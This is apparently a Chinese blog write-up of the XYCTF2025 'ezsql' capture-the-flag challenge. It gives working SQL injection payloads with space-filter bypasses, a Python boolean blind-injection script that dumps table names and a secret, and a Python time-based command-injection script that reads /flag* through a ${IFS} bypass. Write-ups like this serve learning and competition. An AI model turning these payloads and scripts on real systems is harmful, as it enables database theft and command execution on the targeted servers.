XYCTF2025 ezsql(手动滑稽) 题解

148次阅读
没有评论

共计4408个字符,预计需要花费12分钟才能阅读完成。

题目

题目内容:简单 sql(手动滑稽),不需要 sqlmap 等自动化工具,请手工哟∧_∧

思路

打开网页是一个用户登录框,提示有 SQL 注入,我们在用户名处输入 ' 试试:

XYCTF2025 ezsql(手动滑稽) 题解

发现有回显:

XYCTF2025 ezsql(手动滑稽) 题解

尝试 ' or 1=1 -- + 时发现过滤了空格,可以用 Tab 或者 () 来绕过。同时也过滤了 - 符号,用 # 来绕过。尝试 'or(1=1)#

XYCTF2025 ezsql(手动滑稽) 题解

成功登陆了系统,但是要求输入密钥,估计密钥存在了数据库里,因此还需获取数据库里的内容。

这里有回显,我们首先尝试布尔盲注(而不是时间盲注,太慢了。。)。假设我们猜测的字符正确,返回的是 输入密钥 界面,错误则返回的是 密码错误 界面。构造以下 SQL:

'OR(select+ascii(substr(database()from({position})for(1)))>{mid})#

database() 获取了当前数据库名,substr(database()from({position})for(1)) 从提取当前数据库名的第 {position} 个字符。最后转换成 ASCII 码,与我们猜测值 {mid} 作对比,正确则猜下一个。给出 python 二分法猜测代码:

import requests
import time

# 目标地址和参数配置
target_url = "http://eci-2ze82rmt4scjqy44f8b4.cloudeci1.ichunqiu.com/login.php"
username_field = "username"  # 表单中的用户名字段名
password_field = "password"  # 表单中的密码字段名
success_indicator = " 目前由于系统恶意登录尝试请求过多 "  # 登录成功页面的特征字符串

# 请求头配置(根据实际需要添加)headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

# 布尔盲注爆破函数
def blind_injection():
    current_str = "" # 当前爆破出的字符串
    position = 1     # 从第 1 个字符开始爆破

    while True:
        low = 0     # ASCII 可打印字符起始值
        high = 127  # ASCII 可打印字符结束值
        found = False

        # 使用二分法提高效率
        while low <= high:
            mid = (low + high) // 2

            # 构造注入 payload

            # 爆破数据库名
            payload = f"'OR(select+ascii(substr(database()from({position})for(1)))>{mid})#"

            # 爆破表名
            # offset = 0 # 第 i 个表名
            # payload = f"'OR(select+ascii(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#"

            # 爆破字段名
            # table_name = "double_check" # 表名
            # offset = 0 # 第 i 个字段名
            # payload = f"'OR(select+ascii(substr((select(column_name)from(information_schema.columns)where(table_name='{table_name}')limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#"

            # 爆破 secret
            # payload = f"'OR(select+ascii(substr((select(secret)from(double_check)limit\t1\toffset\t0)from({position})for(1)))>{mid})#"

            # POST 数据包
            data = {
                username_field: payload,
                password_field: "1"  # 密码可任意
            }

            try:
                # 发送请求(添加延迟避免触发 WAF)time.sleep(0.02)
                response = requests.post(
                    target_url,
                    data=data,
                    headers=headers,
                    timeout=10
                )
                # print(response.text)
                # print(payload)

                # 检测是否注入成功
                if success_indicator in response.text:
                    low = mid + 1
                else:
                    high = mid - 1

            except Exception as e:
                print(f" 请求失败: {str(e)}")
                continue

        # 检查是否找到有效字符
        if low > high:
            current_char = chr(low)
            if ord(current_char) == 0:
                break  # 遇到终止符时退出
            current_str += current_char
            print(f"[+] 当前爆破结果: {current_str}")
            position += 1
        else:
            break

    print(f"[!] 最终数据库名: {current_str}")

if __name__ == "__main__":
    blind_injection()

XYCTF2025 ezsql(手动滑稽) 题解

获得当前数据库名为 testdb,然后用以下 SQL 语句接着获取数据库里面有哪些表,爆破代码还是刚才那个:

'OR(select+ascii(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#

XYCTF2025 ezsql(手动滑稽) 题解

double_checkuser 表,因为现在我们要的是密钥,网页又是 doublecheck.php。可以猜测从 double_check 表里面获取密钥。以下 SQL 获得表字段:

'OR(select+ascii(substr((select(column_name)from(information_schema.columns)where(table_name='{table_name}')limit\t1\toffset\t{offset})from({position})for(1)))>{mid})#

XYCTF2025 ezsql(手动滑稽) 题解

接着从 secret 字段获得密钥:

'OR(select+ascii(substr((select(secret)from(double_check)limit\t1\toffset\t0)from({position})for(1)))>{mid})#

XYCTF2025 ezsql(手动滑稽) 题解

密钥为 dtfrtkcc0czkoua9S,登录系统:

XYCTF2025 ezsql(手动滑稽) 题解

提示无法回显,可能又要用到盲注,输入 sleep 3 发现空格被禁用了!但是可以用 ${IFS} 或者 Tab 来绕过:

sleep${IFS}3

发现网页加载了 3 秒钟,是可行的!可以进行时间盲注。

我们大致知道 flag 在根目录下,直接用 cat /flag* 就能获取。然后通过 cat /flag*|cut -c {position} 来获得 flag 的第 {position} 个字符。最后用 bash 命令来判断是否猜测正确就好了,给出 python 时间盲注的代码:

import requests
import time

# 配置参数
target_url = "http://eci-2ze82rmt4scjqy44f8b4.cloudeci1.ichunqiu.com/index.php"  # 目标 URL
cookie = {"PHPSESSID": "1f2814ea6824dcd6e963b6e4f49dacf1"}  # 替换为实际的 PHPSESSID
post_data = {"data": "dummy"}               # 需要注入的 POST 参数
delay_threshold = 1                          # 延迟判定阈值(秒)def test_char(position, operator, guess, ifs='\t'):
    # 构造时间盲注 payload
    payload = (f"if{ifs}[{ifs}$(printf{ifs}'%d'{ifs}\"'$(cat{ifs}/flag*|cut{ifs}-c{ifs}{position})\"){ifs}{operator}{ifs}{guess}{ifs}];then{ifs}sleep{ifs}{delay_threshold};fi"
    )

    start_time = time.time()
    try:
        response = requests.post(
            target_url,
            data={**post_data, "command": payload},
            timeout=delay_threshold,
            cookies=cookie
        )
        # print(response.text)
    except requests.exceptions.Timeout:
        return True  # 触发延时
    elapsed = time.time() - start_time
    return elapsed > delay_threshold

def binary_search(position):
    low, high = 0, 127  # ASCII 全范围
    found_char = None

    while low <= high:
        mid = (low + high) // 2

        # Step 1: 检测是否大于中间值
        if test_char(position, "-gt", mid):
            low = mid + 1
        else:
            # Step 2: 检测是否等于中间值
            if test_char(position, "-eq", mid):
                found_char = chr(mid)
                break
            high = mid - 1

    return found_char

def extract_flag():
    flag = ""
    position = 1  # 从第 1 个字符开始

    while True:
        char = binary_search(position)
        if not char:
            break

        flag += char
        print(f"\n[+] 当前爆破结果: {flag}", end="", flush=True)

        # 检测到结束符(根据实际情况调整)if char == '}':
            break

        position += 1

    return flag

if __name__ == "__main__":
    result = extract_flag()
    print("\n[!] 最终爆破结果:", result)

XYCTF2025 ezsql(手动滑稽) 题解

最终爆破得到了 flag

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文